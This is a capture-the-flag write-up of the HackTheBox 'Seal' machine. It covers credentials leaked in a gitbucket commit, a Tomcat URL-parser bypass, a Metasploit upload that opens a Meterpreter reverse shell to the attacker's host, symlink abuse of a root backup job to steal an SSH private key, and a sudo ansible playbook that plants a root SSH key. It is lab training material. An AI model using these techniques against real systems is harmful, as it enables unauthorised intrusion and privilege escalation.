Seal - [HTB]
Table of Contents
Introduction
Seal is an easy-medium linux machine from HackTheBox where the attacker will have to search for credentials in a gitbucket repository used in a bypass of an URL parser logic from the tomcat service. Then, in order to become root the attacker will have to create symbolic links to obtain luis' ssh private key. Finally, the attacker will gave to create an ansible playbook in order to retrieve the root flag.
Enumeration
As always, let's start finding all opened ports in the machine with nmap.
kali@kali:~/Documents/HTB/Seal$ sudo nmap -sS -p- -n -T5 -oN AllPorts.txt 10.129.180.13
Warning: 10.129.180.13 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.129.180.13
Host is up (0.044s latency).
Not shown: 65384 closed ports, 148 filtered ports
PORT STATE SERVICE
22/tcp open ssh
443/tcp open https
8080/tcp open http-proxy
# Nmap done at Sat Jul 10 15:26:59 2021 -- 1 IP address (1 host up) scanned in 50.75 seconds
Then, we continue with a deeper scan of every opened port, getting more information about each service.
kali@kali:~/Documents/HTB/Seal$ sudo nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 22,443,8080 10.129.180.13
Nmap scan report for 10.129.180.13
Host is up (0.040s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
| 256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_ 256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Not valid before: 2021-05-05T10:24:03
|_Not valid after: 2022-05-05T10:24:03
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
8080/tcp open http-proxy
[...]
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Jul 10 15:28:18 2021 -- 1 IP address (1 host up) scanned in 18.57 seconds
Thanks to nmap we can add seal.htb to /etc/hosts
so you will be able to access to the seal market despite not having nothing interesting.
Then, in the 8080 port there is a gitbucket page running. We need to register in order to see what is inside.
In gitbucket there are two repositories Seal_market and infra.
In seal_market
there is a issue where we can find another issue about mutual authentication.
Searching through every commit we can find in the commit "Adding tomcat configuration" the credentials for the tomcat manager.
<user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>
However, we are not able to access to the tomcat's directories: /manager/html
and/host-manager/html
, due to the following configuration.
location /manager/html {
if ($ssl_client_verify != SUCCESS) {
return 403;
}
[...]
}
location /host-manager/html {
if ($ssl_client_verify != SUCCESS) {
return 403;
}
[...]
}
Exploitation
Nonetheless there is a way to break the tomcat URL parser logic, as we can see in a blackhat presentation, but basically we can bypass the parser with https://seal.htb/manager/..;/manager/html
.
Furtheremore, there is a metasploit module that we can use in order to obtain a reverse shell as tomcat.
msf6 exploit(multi/http/tomcat_mgr_upload) > options
Module options (exploit/multi/http/tomcat_mgr_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword 42MrHBf*z8{Z% no The password for the specified username
HttpUsername tomcat no The username to authenticate as
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.129.9.7 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI /manager/..;/manager/ yes The URI path of the manager app (/html/upload and /undeploy will be used)
VHOST seal.htb no HTTP server virtual host
Payload options (java/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.14.26 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Java Universal
msf6 exploit(multi/http/tomcat_mgr_upload) > run
[*] Started reverse TCP handler on 10.10.14.26:4444
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying ayjTOkltRwI0Q...
[*] Executing ayjTOkltRwI0Q...
[*] Undeploying ayjTOkltRwI0Q ...
[*] Sending stage (58033 bytes) to 10.129.9.7
[*] Meterpreter session 1 opened (10.10.14.26:4444 -> 10.129.9.7:49534) at 2021-07-12 14:18:58 -0400
meterpreter > shell
Process 1 created.
Channel 1 created.
id
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
Privilege escalation 1
Enumerating the file system there is a special folder /opt/backups
where we can find backup files and a run.yml
file.
meterpreter > ls -laR /opt/backups
Listing: /opt/backups/archives
==============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100444/r--r--r-- 606047 fil 2021-07-13 04:55:44 -0400 backup-2021-07-13-08:55:38.gz
100444/r--r--r-- 606047 fil 2021-07-13 04:56:45 -0400 backup-2021-07-13-08:56:39.gz
100444/r--r--r-- 606047 fil 2021-07-13 04:57:45 -0400 backup-2021-07-13-08:57:38.gz
Listing: /opt/backups/playbook
==============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100444/r--r--r-- 403 fil 2021-05-07 03:14:42 -0400 run.yml
Listing: /opt/backups
=====================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40554/r-xr-xr-- 4096 dir 2021-07-13 04:46:45 -0400 archives
40554/r-xr-xr-- 4096 dir 2021-05-07 05:26:42 -0400 playbook
Looking inside run.yml
, the script copies each file in the /var/lib/tomcat9/webapps/ROOT/admin/dashboard
folder into a gzip file.
meterpreter > cat run.yml
- hosts: localhost
tasks:
- name: Copy Files
synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
- name: Server Backups
archive:
path: /opt/backups/files/
dest: "/opt/backups/archives/backup-{{ansible_date_time.date}}-{{ansible_date_time.time}}.gz"
- name: Clean
file:
state: absent
path: /opt/backups/files/
Furthermore, inside the dashboard
folder there is another folder upload
where we have write permissions.
meterpreter > ls /var/lib/tomcat9/webapps/ROOT/admin/dashboard
Listing: /var/lib/tomcat9/webapps/ROOT/admin/dashboard
======================================================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40554/r-xr-xr-- 4096 dir 2015-03-07 11:30:24 -0500 bootstrap
40554/r-xr-xr-- 4096 dir 2015-03-07 11:30:24 -0500 css
40554/r-xr-xr-- 4096 dir 2015-03-07 11:30:24 -0500 images
100444/r--r--r-- 71744 fil 2021-05-06 06:42:07 -0400 index.html
40554/r-xr-xr-- 4096 dir 2015-03-07 11:30:24 -0500 scripts
40776/rwxrwxrw- 4096 dir 2021-05-07 05:26:42 -0400 upload
Hence, symbolic link files can be added to the uploads
folder retrieving the actual files once the run.yml
is being executed.
The commands are the following.
meterpreter > cd /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads
meterpreter > shell
Process 12 created.
Channel 31 created.
ln -s /home/luis/user.txt user.txt ln -s /home/luis/.ssh/id_rsa id_rsa
exit
meterpreter > cd /opt/backups/archives
meterpreter > ls
Listing: /opt/backups/archives
==============================
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100444/r--r--r-- 609005 fil 2021-07-13 05:15:45 -0400 backup-2021-07-13-09:15:37.gz
meterpreter > download backup-2021-07-13-09:15:37.gz
[*] Downloading: backup-2021-07-13-09:15:37.gz -> /tmp/backup-2021-07-13-09:15:37.gz
[*] Downloaded 594.73 KiB of 594.73 KiB (100.0%): backup-2021-07-13-09:15:37.gz -> /tmp/backup-2021-07-13-09:15:37.gz
[*] download : backup-2021-07-13-09:15:37.gz -> /tmp/backup-2021-07-13-09:15:37.gz
kali@kali:/tmp$ gunzip backup-2021-07-13-09:15:37.gz
kali@kali:/tmp$ mimeopen -a backup-2021-07-13-09:15:37
Please choose an application
1) Engrampa Archive Manager (engrampa)
use application #1
Opening "backup-2021-07-13-09:15:37" with Engrampa Archive Manager (application/x-tar)
As we can see in the picture below we obtained successfully both files.
Once the id_rsa
file has been extracted,it can be used for getting access as luis through SSH.
kali@kali:/tmp$ chmod 600 id_rsa
kali@kali:/tmp$ ssh -i id_rsa luis@seal.htb
luis@seal:~$ id
uid=1000(luis) gid=1000(luis) groups=1000(luis)
Privilege escalation 2
The user luis can execute the following python script as root.
luis@seal:/tmp$ sudo -l
Matching Defaults entries for luis on seal:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User luis may run the following commands on seal:
(ALL) NOPASSWD: /usr/bin/ansible-playbook *
Thanks to the examples in this post we can create our own run.yml
which will allow us to connect to the machine as the root user through ssh.
Note: Create you own ssh id_rsa.pub key in order to add it to the file.
luis@seal:/tmp$ cat run.yml
- hosts: localhost
tasks:
- name: Run a command as nobody
shell:
"mkdir /root/.ssh; echo '<id_rsa.pub>' > /root/.ssh/authorized_keys"
In order to obtain the root flag, execute the script and then connect to the machine as you can see below.
luis@seal:/tmp$ sudo /usr/bin/ansible-playbook /tmp/run.yml
PLAY [localhost]
***************************
TASK [Gathering Facts]
***************************
ok: [localhost]
TASK [Run a command as nobody]
***************************
[WARNING]: Consider using the file module with state=directory rather than running 'mkdir'. If you need to use command because file is insufficient you can add
'warn: false' to this command task or set 'command_warnings=False' in ansible.cfg to get rid of this message.
changed: [localhost]
PLAY RECAP
***************************
localhost : ok=2 changed=1 unreachable=0 failed=0 skipped=0 rescued=0 ignored=0
kali@kali:~/Documents/HTB/Seal$ ssh root@seal.htb
root@seal:~# cat root.txt
[CENSORED]